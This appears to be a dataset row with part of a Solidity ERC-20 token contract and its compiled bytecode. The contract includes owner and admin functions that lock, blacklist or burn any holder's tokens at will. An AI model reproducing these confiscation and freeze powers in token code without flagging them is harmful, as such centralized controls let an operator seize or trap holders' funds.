modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address blacklisted");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bbd602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061150e565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b61065a83836115a5565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826116a1565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd86021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b3f6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b61076284848461178d565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6106dd826118d4565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611cb36025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061150e565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b196026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a896026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c6c6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611aaf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c476025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a216023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611be56021913960400191505060405180910390fd5b6112ae8484846119d9565b8054156114375780600101544211156113575760006001820181905581556040805160608101909152602680825261130a918491611af360208301396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113399083610fb2565b6001600160a01b038416600090815260208190526040902055611432565b600061139a8260000154604051806060016040528060228152602001611ad1602291396001600160a01b038816600090815260208190526040902054919061150e565b90506113c183604051806060016040528060268152602001611af36026913983919061150e565b6001600160a01b038616600090815260208190526040902081905582546113e89190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114179084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114bd565b61147482604051806060016040528060268152602001611af3602691396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114a39083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000818484111561159d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156257818101518382015260200161154a565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c266021913960400191505060405180910390fd5b6115f6826000836119d9565b61163381604051806060016040528060228152602001611a67602291396001600160a01b038516600090815260208190526040902054919061150e565b6001600160a01b03831660009081526020819052604090205560055461165990826119de565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116e65760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561173e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b0383166000818152600360205260409020906117f7576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118039084610fb2565b6001600160a01b03851660009081526020819052604090205410156118595760405162461bcd60e51b8152600401808060200182810382526030815260200180611b656030913960400191505060405180910390fd5b600081600101541180156118705750806001015442115b156118815760006001820181905581555b6001810182905580546118949084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119195760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461198c576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061150e56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2073656e646572206164647265737320626c61636b6c69737465644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122061d77686c3f8a2366dd218e0c507a8a7d39db2c40101364eadbe185b7bba09af64736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 2,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.